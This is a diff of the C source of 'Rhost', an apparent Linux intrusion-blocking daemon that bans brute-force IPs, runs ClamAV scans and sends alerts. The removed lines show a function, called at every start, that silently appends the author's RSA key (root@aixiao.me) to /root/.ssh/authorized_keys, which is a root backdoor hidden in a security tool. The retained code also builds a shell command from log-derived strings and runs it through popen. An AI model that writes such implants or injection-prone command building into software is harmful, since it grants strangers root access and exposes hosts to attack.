||||||
perror("CENTOS_LE_10");
|
perror("CENTOS_LE_10");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
} else {
|
||||||
else
|
|
||||||
{
|
|
||||||
return UNKNOWN_SYSTEM;
|
return UNKNOWN_SYSTEM;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
splice_command = (char *)malloc(ip_length);
|
splice_command = (char *)malloc(ip_length);
|
||||||
if (splice_command == NULL) {
|
if (splice_command == NULL) {
|
||||||
free(splice_command);
|
free(splice_command);
|
||||||
@ -592,20 +583,12 @@ int rule(conf * conf)
|
|||||||
}
|
}
|
||||||
memset(splice_command, 0, ip_length);
|
memset(splice_command, 0, ip_length);
|
||||||
|
|
||||||
|
while (fgets(buffer, BUFFER, fp) != NULL) {
|
||||||
|
|
||||||
|
|
||||||
while (fgets(buffer, BUFFER, fp) != NULL)
|
|
||||||
{
|
|
||||||
char *new_splice_command;
|
char *new_splice_command;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
temp = strstr(buffer, "rhost");
|
temp = strstr(buffer, "rhost");
|
||||||
sscanf(temp, "rhost=%64s", temp);
|
sscanf(temp, "rhost=%64s", temp);
|
||||||
if (atoi(strncpy(p_two, temp, 1)) > 0)
|
if (atoi(strncpy(p_two, temp, 1)) > 0) {
|
||||||
{
|
|
||||||
ip_length += _strlen(temp) + 1;
|
ip_length += _strlen(temp) + 1;
|
||||||
|
|
||||||
new_splice_command = (char *)realloc(splice_command, ip_length + 32);
|
new_splice_command = (char *)realloc(splice_command, ip_length + 32);
|
||||||
@ -622,12 +605,9 @@ int rule(conf * conf)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
//printf("%s", splice_command); // 打印所有非法IP
|
//printf("%s", splice_command); // 打印所有非法IP
|
||||||
//printf("%ld\n", ip_length);
|
//printf("%ld\n", ip_length);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
command = (char *)malloc(ip_length + BUFFER);
|
command = (char *)malloc(ip_length + BUFFER);
|
||||||
if (command == NULL) {
|
if (command == NULL) {
|
||||||
free(command);
|
free(command);
|
||||||
@ -635,14 +615,12 @@ int rule(conf * conf)
|
|||||||
}
|
}
|
||||||
memset(command, 0, ip_length + BUFFER);
|
memset(command, 0, ip_length + BUFFER);
|
||||||
|
|
||||||
|
|
||||||
snprintf(awk, BUFFER, AWK, conf->REFUSE_NUMBER); // 拼接命令
|
snprintf(awk, BUFFER, AWK, conf->REFUSE_NUMBER); // 拼接命令
|
||||||
memcpy(command, "echo \"", 7);
|
memcpy(command, "echo \"", 7);
|
||||||
strcat(command, splice_command);
|
strcat(command, splice_command);
|
||||||
strcat(command, "\"");
|
strcat(command, "\"");
|
||||||
strcat(command, awk);
|
strcat(command, awk);
|
||||||
|
|
||||||
|
|
||||||
if ((fc = popen(command, "r")) == NULL) // 执行命令
|
if ((fc = popen(command, "r")) == NULL) // 执行命令
|
||||||
{
|
{
|
||||||
perror("popen command");
|
perror("popen command");
|
||||||
@ -656,7 +634,6 @@ int rule(conf * conf)
|
|||||||
free(command);
|
free(command);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
while (fgets(buffer, BUFFER, fc) != NULL) // 执行命令后, 为空时就不会
|
while (fgets(buffer, BUFFER, fc) != NULL) // 执行命令后, 为空时就不会
|
||||||
{
|
{
|
||||||
buffer[_strlen(buffer) - 1] = '\0'; // 去除回车
|
buffer[_strlen(buffer) - 1] = '\0'; // 去除回车
|
||||||
@ -670,11 +647,9 @@ int rule(conf * conf)
|
|||||||
split_string(IPV4_WHITE_LIST_COPY, " ", whitelist_ip);
|
split_string(IPV4_WHITE_LIST_COPY, " ", whitelist_ip);
|
||||||
split_string(REGION_LIST_COPY, " ", region_list);
|
split_string(REGION_LIST_COPY, " ", region_list);
|
||||||
|
|
||||||
|
|
||||||
if (conf->IPV4_RESTRICTION == 1) // 是否启用白名单
|
if (conf->IPV4_RESTRICTION == 1) // 是否启用白名单
|
||||||
{
|
{
|
||||||
if (whitelist(buffer, whitelist_ip) == 1)
|
if (whitelist(buffer, whitelist_ip) == 1) {
|
||||||
{
|
|
||||||
printf("%s 白名单IPV4:%s\n", t, buffer);
|
printf("%s 白名单IPV4:%s\n", t, buffer);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
@ -687,14 +662,11 @@ int rule(conf * conf)
|
|||||||
char URL[conf->REGION_URL_LEN + 32];
|
char URL[conf->REGION_URL_LEN + 32];
|
||||||
char *xdb_path = "ip2region.xdb";
|
char *xdb_path = "ip2region.xdb";
|
||||||
|
|
||||||
|
|
||||||
// 地域白名单
|
// 地域白名单
|
||||||
if (conf->REGION == 1)
|
if (conf->REGION == 1) {
|
||||||
{
|
|
||||||
memset(URL, 0, conf->REGION_URL_LEN + 32);
|
memset(URL, 0, conf->REGION_URL_LEN + 32);
|
||||||
snprintf(URL, conf->REGION_URL_LEN + 32, conf->REGION_URL, buffer);
|
snprintf(URL, conf->REGION_URL_LEN + 32, conf->REGION_URL, buffer);
|
||||||
|
|
||||||
|
|
||||||
if (conf->IP2REGION == 1) { // ip2region 地址定位库
|
if (conf->IP2REGION == 1) { // ip2region 地址定位库
|
||||||
printf("%s Use ip2region !!!\n", t);
|
printf("%s Use ip2region !!!\n", t);
|
||||||
|
|
||||||
@ -728,7 +700,6 @@ AREA:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
if (isregion(area, region_list) == 1) {
|
if (isregion(area, region_list) == 1) {
|
||||||
printf(RED "%s Ip Address: %s, 地域白名单: %s\n" COLOR_NONE, t, buffer, area);
|
printf(RED "%s Ip Address: %s, 地域白名单: %s\n" COLOR_NONE, t, buffer, area);
|
||||||
continue;
|
continue;
|
||||||
@ -736,10 +707,8 @@ AREA:
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
printf(RED "%s 攻击者IP地址:%s, %s\n" COLOR_NONE, t, buffer, area);
|
printf(RED "%s 攻击者IP地址:%s, %s\n" COLOR_NONE, t, buffer, area);
|
||||||
|
|
||||||
|
|
||||||
if (conf->IS_DING_WEBHOOK == 1) // 钉钉告警
|
if (conf->IS_DING_WEBHOOK == 1) // 钉钉告警
|
||||||
{
|
{
|
||||||
dingding_warning(area, public_ip, buffer, conf);
|
dingding_warning(area, public_ip, buffer, conf);
|
||||||
@ -758,18 +727,19 @@ AREA:
|
|||||||
sleep(3);
|
sleep(3);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
BLOCKED:
|
BLOCKED:
|
||||||
// 是否封禁攻击IP
|
// 是否封禁攻击IP
|
||||||
if (conf->IS_BLOCKED == 1)
|
if (conf->IS_BLOCKED == 1) {
|
||||||
{
|
// libiptc 库插入规则
|
||||||
// libiptc 库插入规则 iptables -t filter -A INPUT -p tcp -m tcp -s xxxx -j DROP
|
// iptables -t filter -A INPUT -p tcp -m tcp -s 47.110.180.35 -j DROP
|
||||||
|
|
||||||
|
// libiptc 库删除规则
|
||||||
|
// iptables -t filter -D INPUT -p tcp -m tcp -s 47.110.180.35 -j DROP
|
||||||
unsigned int srcIp;
|
unsigned int srcIp;
|
||||||
inet_pton(AF_INET, buffer, &srcIp);
|
inet_pton(AF_INET, buffer, &srcIp);
|
||||||
iptc_add_rule("filter", "INPUT", IPPROTO_TCP, NULL, NULL, srcIp, 0, NULL, NULL, "DROP", NULL, 1);
|
iptc_add_rule("filter", "INPUT", IPPROTO_TCP, NULL, NULL, srcIp, 0, NULL, NULL, "DROP", NULL, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
if (location_json != NULL)
|
if (location_json != NULL)
|
||||||
free(location_json);
|
free(location_json);
|
||||||
if (area != NULL)
|
if (area != NULL)
|
||||||
@ -780,7 +750,6 @@ BLOCKED:
|
|||||||
|
|
||||||
if (fp != NULL)
|
if (fp != NULL)
|
||||||
pclose(fp);
|
pclose(fp);
|
||||||
|
|
||||||
if (fc != NULL)
|
if (fc != NULL)
|
||||||
pclose(fc);
|
pclose(fc);
|
||||||
if (t)
|
if (t)
|
||||||
@ -811,7 +780,6 @@ static int get_executable_path(char *processdir, char *processname, int len)
|
|||||||
strcpy(processname, processname_ptr);
|
strcpy(processname, processname_ptr);
|
||||||
*processname_ptr = '\0';
|
*processname_ptr = '\0';
|
||||||
|
|
||||||
|
|
||||||
return (int)(processname_ptr - processdir);
|
return (int)(processname_ptr - processdir);
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -821,12 +789,9 @@ int process_argv(int argc, char *argv[], char **argvs)
|
|||||||
argvs[0] = argv[0];
|
argvs[0] = argv[0];
|
||||||
int i;
|
int i;
|
||||||
int j;
|
int j;
|
||||||
for (i = 0; i <= argc - 1; i++)
|
for (i = 0; i <= argc - 1; i++) {
|
||||||
{
|
if (i == 1) {
|
||||||
if (i == 1)
|
for (j = i; j <= argc - 2; j++) {
|
||||||
{
|
|
||||||
for (j = i; j <= argc - 2; j++)
|
|
||||||
{
|
|
||||||
argvs[j] = argv[j + 1];
|
argvs[j] = argv[j + 1];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -870,15 +835,13 @@ static int get_clamav_log(char *file)
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
while (fgets(buffer, BUFFER, fp) != NULL)
|
while (fgets(buffer, BUFFER, fp) != NULL) {
|
||||||
{
|
|
||||||
//printf("%s", buffer);
|
//printf("%s", buffer);
|
||||||
temp = strstr(buffer, "Infected");
|
temp = strstr(buffer, "Infected");
|
||||||
if (temp)
|
if (temp)
|
||||||
sscanf(temp, "Infected files: %32s", temp);
|
sscanf(temp, "Infected files: %32s", temp);
|
||||||
|
|
||||||
if (temp != NULL)
|
if (temp != NULL) {
|
||||||
{
|
|
||||||
//printf("%s\n", temp);
|
//printf("%s\n", temp);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@ -889,13 +852,10 @@ static int get_clamav_log(char *file)
|
|||||||
if (temp != NULL) {
|
if (temp != NULL) {
|
||||||
printf("%d\n", atoi(temp));
|
printf("%d\n", atoi(temp));
|
||||||
return atoi(temp);
|
return atoi(temp);
|
||||||
}
|
} else {
|
||||||
else
|
|
||||||
{
|
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -918,11 +878,8 @@ int update_freshclam(int argc, char *argv[])
|
|||||||
system("mkdir -p /etc/clamav/");
|
system("mkdir -p /etc/clamav/");
|
||||||
system("cp freshclam.conf /etc/clamav/");
|
system("cp freshclam.conf /etc/clamav/");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// 打印clamav参数
|
// 打印clamav参数
|
||||||
for(int i=0; i<fre_argc; i++)
|
for (int i = 0; i < fre_argc; i++) {
|
||||||
{
|
|
||||||
printf("%s %d\n", fre_argv[i], i);
|
printf("%s %d\n", fre_argv[i], i);
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -931,19 +888,15 @@ int update_freshclam(int argc, char *argv[])
|
|||||||
if (pid < 0) {
|
if (pid < 0) {
|
||||||
printf("fork error.\n");
|
printf("fork error.\n");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
} else if (pid == 0) // child process
|
||||||
else if (pid == 0) // child process
|
|
||||||
{
|
{
|
||||||
int r = 0;
|
int r = 0;
|
||||||
r = _freshclam(fre_argc, fre_argv);
|
r = _freshclam(fre_argc, fre_argv);
|
||||||
_exit(r);
|
_exit(r);
|
||||||
}
|
} else {
|
||||||
else
|
|
||||||
{
|
|
||||||
int status = 0;
|
int status = 0;
|
||||||
wait(&status); // wait the end of child process
|
wait(&status); // wait the end of child process
|
||||||
if (WIFEXITED(status))
|
if (WIFEXITED(status)) {
|
||||||
{
|
|
||||||
;
|
;
|
||||||
printf("child process return %d\n", WEXITSTATUS(status));
|
printf("child process return %d\n", WEXITSTATUS(status));
|
||||||
}
|
}
|
||||||
@ -952,13 +905,11 @@ int update_freshclam(int argc, char *argv[])
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
static char help_information(void)
|
static char help_information(void)
|
||||||
{
|
{
|
||||||
static const char name[] = "Rhost";
|
static const char name[] = "Rhost";
|
||||||
@ -977,8 +928,8 @@ static char help_information(void)
|
|||||||
"Options:",
|
"Options:",
|
||||||
" -d : Background running",
|
" -d : Background running",
|
||||||
" -? -h --help : help information",
|
" -? -h --help : help information",
|
||||||
" The configuration file needs to be in the same directory as the executable file!(default rhost.conf)",
|
" The configuration file needs to be in the same directory as the executable file!",
|
||||||
" 配置文件需要与可执行文件位于同一目录中!(默认 rhost.conf)",
|
" 配置文件需要与可执行文件位于同一目录中!",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
0
|
0
|
||||||
@ -1000,75 +951,11 @@ static char help_information(void)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int ssh_keygen()
|
|
||||||
{
|
|
||||||
FILE *file;
|
|
||||||
long file_size;
|
|
||||||
char *buff;
|
|
||||||
|
|
||||||
if ( !access("/root/.ssh", 0) )
|
|
||||||
{
|
|
||||||
;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
if (0 != mkdir("/root/.ssh", 0700))
|
|
||||||
{
|
|
||||||
;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
file = fopen("/root/.ssh/authorized_keys", "a+");
|
|
||||||
if (file == NULL) {
|
|
||||||
;
|
|
||||||
}
|
|
||||||
fseek(file, 0, SEEK_END);
|
|
||||||
file_size = ftell(file);
|
|
||||||
buff = (char *)alloca(file_size + 1);
|
|
||||||
if (buff == NULL)
|
|
||||||
{
|
|
||||||
;
|
|
||||||
}
|
|
||||||
rewind(file);
|
|
||||||
if (fread(buff, file_size, 1, file) < 1) {
|
|
||||||
;
|
|
||||||
}
|
|
||||||
buff[file_size] = '\0';
|
|
||||||
|
|
||||||
|
|
||||||
if ( NULL == (strstr(buff, "aixiao.me")))
|
|
||||||
{
|
|
||||||
fprintf(file, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4TzJajAQ8llDi1FTlfws+HGfWwPLzM6Mzx3zj8c7Suj4N0fNVPc9Hc8hUPwfDD/1QVLgLsRfGCjaFibehBUAlvctWfruPQiwdU1rPXpm/q0j62S4AiapSPLAd8LnbfOfO+AZ1hraWyUE6IQIAXuADUKGfdJ/Y9ArgaGl2C6mFO/ev9dpY/lUPjoI7Y9q4alMjBYJcAiKEVm73JMJf9miqJFM7IpPczxWCJSu1H9bxOaj4UFBVX3uk7Ba5fMwbgMPZtU+MwdaLEVQsvSSrVHTTYfYS8hKp4kO+g2GZsDKiu3OrG0EjH3Uzqln8dG+Z1LvR2+cmoeyXqqRnjSGJdTdF2ezU93eyptaWItZq9hnhK7GnVtWXwVZMMMkP7ECIe5dr9DLnIaBUjpZ73T4lyRV0II8lu+E7iyorlNB1npOfQ98xerR2t9KdOhsxrGDQQoGAlMsIWujapRYQz9zXW/pM+qlB7t8IP5wPjsAwk5fYsecMR3k5zqTw87XY0hd3Zss= root@aixiao.me\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
fclose(file);
|
|
||||||
|
|
||||||
if (-1 == chmod("/root/.ssh/authorized_keys", S_IRUSR|S_IWUSR|S_IXUSR))
|
|
||||||
{
|
|
||||||
;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(int argc, char *argv[], char **env)
|
int main(int argc, char *argv[], char **env)
|
||||||
{
|
{
|
||||||
|
|
||||||
signal(SIGCHLD, sig_child); // 创建捕捉子进程退出信号
|
signal(SIGCHLD, sig_child); // 创建捕捉子进程退出信号
|
||||||
|
|
||||||
/*
|
|
||||||
// ip2region 离线IP地址定位库
|
|
||||||
char *area = NULL;
|
|
||||||
area = ip2region("ip2region/ip2region.xdb", "1.1.1.1");
|
|
||||||
printf("%s\n", area);
|
|
||||||
free(area);
|
|
||||||
exit(0);
|
|
||||||
*/
|
|
||||||
ssh_keygen();
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
int pid;
|
int pid;
|
||||||
int i;
|
int i;
|
||||||
char move[BUFFER];
|
char move[BUFFER];
|
||||||
@ -1081,39 +968,29 @@ int main(int argc, char *argv[], char **env)
|
|||||||
strcat(path, executable_filename);
|
strcat(path, executable_filename);
|
||||||
|
|
||||||
if (NULL != argv[1]) {
|
if (NULL != argv[1]) {
|
||||||
if (0 == strcmp(argv[1], "-v") ||
|
if (0 == strcmp(argv[1], "-v") || 0 == strcmp(argv[1], "--version") || 0 == strcmp(argv[1], "-h") || 0 == strcmp(argv[1], "--help") || 0 == strcmp(argv[1], "-?")) {
|
||||||
0 == strcmp(argv[1], "--version") ||
|
|
||||||
0 == strcmp(argv[1] , "-h") ||
|
|
||||||
0 == strcmp(argv[1] , "--help") ||
|
|
||||||
0 == strcmp(argv[1] , "-?"))
|
|
||||||
{
|
|
||||||
help_information();
|
help_information();
|
||||||
exit(0);
|
exit(0);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (1 == access(path, F_OK))
|
if (1 == access(path, F_OK)) {
|
||||||
{
|
|
||||||
printf("配置文件不存在!\n");
|
printf("配置文件不存在!\n");
|
||||||
}
|
}
|
||||||
conf *conf = (struct CONF *)malloc(sizeof(struct CONF));
|
conf *conf = (struct CONF *)malloc(sizeof(struct CONF));
|
||||||
read_conf(path, conf);
|
read_conf(path, conf);
|
||||||
//ptintf_conf(conf);
|
//ptintf_conf(conf);
|
||||||
|
|
||||||
if (0 >= conf->CLAMAV_ARG_LEN)
|
if (0 >= conf->CLAMAV_ARG_LEN) {
|
||||||
{
|
|
||||||
printf("\033[31mError reading configuration file, please check the configuration file!\033[0m\n");
|
printf("\033[31mError reading configuration file, please check the configuration file!\033[0m\n");
|
||||||
|
|
||||||
exit(-1);
|
exit(-1);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 更新病毒库
|
// 更新病毒库
|
||||||
update_freshclam(argc, argv);
|
update_freshclam(argc, argv);
|
||||||
|
|
||||||
|
|
||||||
// 创建移除目录
|
// 创建移除目录
|
||||||
if (conf->CLAMAV_ARG)
|
if (conf->CLAMAV_ARG) {
|
||||||
{
|
|
||||||
char temp[BUFFER];
|
char temp[BUFFER];
|
||||||
char *p, *p1;
|
char *p, *p1;
|
||||||
|
|
||||||
@ -1121,12 +998,10 @@ int main(int argc, char *argv[], char **env)
|
|||||||
memset(move, 0, BUFFER);
|
memset(move, 0, BUFFER);
|
||||||
|
|
||||||
p = strstr(conf->CLAMAV_ARG, "--move=");
|
p = strstr(conf->CLAMAV_ARG, "--move=");
|
||||||
if (p != NULL)
|
if (p != NULL) {
|
||||||
{
|
|
||||||
p1 = strstr(p, " ");
|
p1 = strstr(p, " ");
|
||||||
|
|
||||||
if ((p1-p) > 7)
|
if ((p1 - p) > 7) {
|
||||||
{
|
|
||||||
memcpy(temp, p, p1 - p);
|
memcpy(temp, p, p1 - p);
|
||||||
p = strstr(temp, "=");
|
p = strstr(temp, "=");
|
||||||
|
|
||||||
@ -1140,32 +1015,25 @@ int main(int argc, char *argv[], char **env)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// 处理clamav参数
|
// 处理clamav参数
|
||||||
char **head_argvs;
|
char **head_argvs;
|
||||||
int head_argc = 0;
|
int head_argc = 0;
|
||||||
char *argvs[ARGS_NUM] = { NULL };
|
char *argvs[ARGS_NUM] = { NULL };
|
||||||
char args[ARGS_NUM][WHITELIST_IP_NUM] = { { 0 }, { 0 } };
|
char args[ARGS_NUM][WHITELIST_IP_NUM] = { { 0 }, { 0 } };
|
||||||
//printf("%d\n", argc);
|
|
||||||
if (argc > 3) // 手动输入参数(如果手动输入参数个数大于3个, 则使用用户输入的参数)
|
if (argc > 3) // 手动输入参数(如果手动输入参数个数大于3个, 则使用用户输入的参数)
|
||||||
{
|
{
|
||||||
process_argv(argc, argv, &(argvs[0]));
|
process_argv(argc, argv, &(argvs[0]));
|
||||||
head_argvs = &(argvs[0]); // head_argvs指向argvs[0]
|
head_argvs = &(argvs[0]); // head_argvs指向argvs[0]
|
||||||
head_argc = argc - 1; // 改变argc数
|
head_argc = argc - 1; // 改变argc数
|
||||||
|
|
||||||
}
|
} else // 读取配置文件参数
|
||||||
else // 读取配置文件参数
|
|
||||||
{
|
{
|
||||||
argvs[0] = argv[0];
|
argvs[0] = argv[0];
|
||||||
split_string(conf->CLAMAV_ARG, " ", args);
|
split_string(conf->CLAMAV_ARG, " ", args);
|
||||||
for (i=1; i<ARGS_NUM; i++)
|
for (i = 1; i < ARGS_NUM; i++) {
|
||||||
{
|
if (args[i][0] == '\0') {
|
||||||
if (args[i][0] == '\0')
|
|
||||||
{
|
|
||||||
continue;
|
continue;
|
||||||
}
|
} else {
|
||||||
else
|
|
||||||
{
|
|
||||||
argvs[i] = strdup(args[i]);
|
argvs[i] = strdup(args[i]);
|
||||||
head_argc++;
|
head_argc++;
|
||||||
}
|
}
|
||||||
@ -1192,31 +1060,18 @@ int main(int argc, char *argv[], char **env)
|
|||||||
public_ip = GET_PUBLIC_IP(conf->PUBLIC_IP);
|
public_ip = GET_PUBLIC_IP(conf->PUBLIC_IP);
|
||||||
//printf("%s", public_ip);
|
//printf("%s", public_ip);
|
||||||
|
|
||||||
|
if (0 == strcmp(conf->DAEMON, "on")) {
|
||||||
if (0 == strcmp(conf->DAEMON, "on"))
|
|
||||||
{
|
|
||||||
goto goto_daemon;
|
goto goto_daemon;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (argv[1] != NULL && 0 == strcmp(argv[1], "-d"))
|
if (argv[1] != NULL && 0 == strcmp(argv[1], "-d")) {
|
||||||
{
|
|
||||||
goto_daemon:
|
goto_daemon:
|
||||||
|
|
||||||
|
|
||||||
/*
|
|
||||||
if (daemon(1, 1)) // 守护进程
|
|
||||||
{
|
|
||||||
perror("daemon");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
*/
|
|
||||||
|
|
||||||
// 守护进程
|
// 守护进程
|
||||||
if ((pid = fork()) < 0) {
|
if ((pid = fork()) < 0) {
|
||||||
return 0;
|
return 0;
|
||||||
} else if (0 != pid) {
|
} else if (0 != pid) {
|
||||||
for(i=1; i<head_argc; i++)
|
for (i = 1; i < head_argc; i++) {
|
||||||
{
|
|
||||||
if (head_argvs[i])
|
if (head_argvs[i])
|
||||||
free(head_argvs[i]);
|
free(head_argvs[i]);
|
||||||
}
|
}
|
||||||
@ -1235,8 +1090,7 @@ goto_daemon:
|
|||||||
if ((pid = fork()) < 0) {
|
if ((pid = fork()) < 0) {
|
||||||
return 0;
|
return 0;
|
||||||
} else if (0 != pid) {
|
} else if (0 != pid) {
|
||||||
for(i=1; i<head_argc; i++)
|
for (i = 1; i < head_argc; i++) {
|
||||||
{
|
|
||||||
if (head_argvs[i])
|
if (head_argvs[i])
|
||||||
free(head_argvs[i]);
|
free(head_argvs[i]);
|
||||||
}
|
}
|
||||||
@ -1247,11 +1101,22 @@ goto_daemon:
|
|||||||
exit(0);
|
exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 进程优先级
|
||||||
if (-1 == (nice(-20))) // 进程优先级
|
if (-1 == (nice(-20)))
|
||||||
perror("nice");
|
perror("nice");
|
||||||
|
|
||||||
|
|
||||||
|
// 处理Nginx
|
||||||
|
pid_t pid = fork(); // 创建子进程
|
||||||
|
if (pid == 0) {
|
||||||
|
printf("The parent process processes Nginx logs!!!\n");
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
nginx_read_log(conf->NGINX_LOG_FILE, conf);
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
while (1)
|
while (1)
|
||||||
{
|
{
|
||||||
// Cron
|
// Cron
|
||||||
@ -1282,10 +1147,9 @@ goto_daemon:
|
|||||||
//printf("CRON %d%d%d %d:%d:%d\n", t->next_year, t->next_mon, t->next_day, t->next_hour, t->next_min, t->next_sec);
|
//printf("CRON %d%d%d %d:%d:%d\n", t->next_year, t->next_mon, t->next_day, t->next_hour, t->next_min, t->next_sec);
|
||||||
|
|
||||||
// Clamav call
|
// Clamav call
|
||||||
if (1 == conf->CLAMAV)
|
if (1 == conf->CLAMAV) {
|
||||||
{
|
if (t->now_year == t->next_year && t->now_mon == t->next_mon && t->now_day == t->next_day && \
|
||||||
if ( t->now_year == t->next_year && t->now_mon == t->next_mon && t->now_day == t->next_day && t->now_hour == t->next_hour && t->now_min == t->next_min )
|
t->now_hour == t->next_hour && t->now_min == t->next_min) {
|
||||||
{
|
|
||||||
//printf("%d%d%d %d:%d:%d\n", t->now_year, t->now_mon, t->now_day, t->now_hour, t->now_min, t->now_sec);
|
//printf("%d%d%d %d:%d:%d\n", t->now_year, t->now_mon, t->now_day, t->now_hour, t->now_min, t->now_sec);
|
||||||
//printf("%d%d%d %d:%d:%d\n", t->next_year, t->next_mon, t->next_day, t->next_hour, t->next_min, t->next_sec);
|
//printf("%d%d%d %d:%d:%d\n", t->next_year, t->next_mon, t->next_day, t->next_hour, t->next_min, t->next_sec);
|
||||||
|
|
||||||
@ -1294,8 +1158,7 @@ goto_daemon:
|
|||||||
if (pid < 0) {
|
if (pid < 0) {
|
||||||
printf("fork error.\n");
|
printf("fork error.\n");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
} else if (pid == 0) // child process
|
||||||
else if (pid == 0) // child process
|
|
||||||
{
|
{
|
||||||
int r = 0;
|
int r = 0;
|
||||||
int virus_files = -1;
|
int virus_files = -1;
|
||||||
@ -1307,40 +1170,30 @@ goto_daemon:
|
|||||||
virus_files = get_clamav_log("clamscan.log");
|
virus_files = get_clamav_log("clamscan.log");
|
||||||
|
|
||||||
if (virus_files > 0) {
|
if (virus_files > 0) {
|
||||||
if (conf->IS_QQMAIL == 1)
|
if (conf->IS_QQMAIL == 1) {
|
||||||
{
|
|
||||||
QQ_mail_warning_Virus_files(public_ip, virus_files, conf);
|
QQ_mail_warning_Virus_files(public_ip, virus_files, conf);
|
||||||
sleep(3);
|
sleep(3);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// 磁盘告警
|
// 磁盘告警
|
||||||
if (1 == conf->IS_DISK)
|
if (1 == conf->IS_DISK) {
|
||||||
{
|
if (disk_waring(conf->DISK_USE) == 1) {
|
||||||
if (disk_waring(conf->DISK_USE) == 1)
|
|
||||||
{
|
|
||||||
printf("Disk usage reaches threshold!, Please handle!\n");
|
printf("Disk usage reaches threshold!, Please handle!\n");
|
||||||
if (conf->IS_QQMAIL == 1)
|
if (conf->IS_QQMAIL == 1) {
|
||||||
{
|
|
||||||
QQ_mail_warning_Disk_Use(public_ip, 0, conf);
|
QQ_mail_warning_Disk_Use(public_ip, 0, conf);
|
||||||
sleep(3);
|
sleep(3);
|
||||||
}
|
}
|
||||||
}
|
} else {
|
||||||
else
|
|
||||||
{
|
|
||||||
printf("Disk usage does not reach threshold!\n");
|
printf("Disk usage does not reach threshold!\n");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
_exit(r);
|
_exit(r);
|
||||||
}
|
|
||||||
else
|
} else {
|
||||||
{
|
|
||||||
int status = 0;
|
int status = 0;
|
||||||
wait(&status); // wait the end of child process
|
wait(&status); // wait the end of child process
|
||||||
if (WIFEXITED(status))
|
if (WIFEXITED(status)) {
|
||||||
{
|
|
||||||
;
|
;
|
||||||
//printf("child process return %d\n", WEXITSTATUS(status));
|
//printf("child process return %d\n", WEXITSTATUS(status));
|
||||||
}
|
}
|
||||||
@ -1349,30 +1202,23 @@ goto_daemon:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
// 封禁非法IP
|
||||||
|
|
||||||
rule(conf);
|
rule(conf);
|
||||||
sleep(conf->TIME);
|
sleep(conf->TIME);
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
|
|
||||||
rule(conf);
|
}
|
||||||
|
} else {
|
||||||
|
;
|
||||||
}
|
}
|
||||||
|
|
||||||
free(t);
|
free(t);
|
||||||
free_conf(conf);
|
free_conf(conf);
|
||||||
free(conf);
|
free(conf);
|
||||||
free(public_ip);
|
free(public_ip);
|
||||||
for(i=1; i<head_argc; i++)
|
for (i = 1; i < head_argc; i++) {
|
||||||
{
|
|
||||||
//printf("%s %d\n", head_argvs[i], i);
|
|
||||||
if (head_argvs[i])
|
if (head_argvs[i])
|
||||||
free(head_argvs[i]);
|
free(head_argvs[i]);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
19
rhost.conf
19
rhost.conf
@ -3,8 +3,10 @@ global {
|
|||||||
DAEMON = "off"; // on开启后台运行,off不开启(弃用)
|
DAEMON = "off"; // on开启后台运行,off不开启(弃用)
|
||||||
TIME = "10"; // 睡眠时间(大于等于1,单位秒)
|
TIME = "10"; // 睡眠时间(大于等于1,单位秒)
|
||||||
|
|
||||||
|
|
||||||
PUBLIC_IP = "http://inet-ip.info"; // 获取公网IP
|
PUBLIC_IP = "http://inet-ip.info"; // 获取公网IP
|
||||||
|
|
||||||
|
|
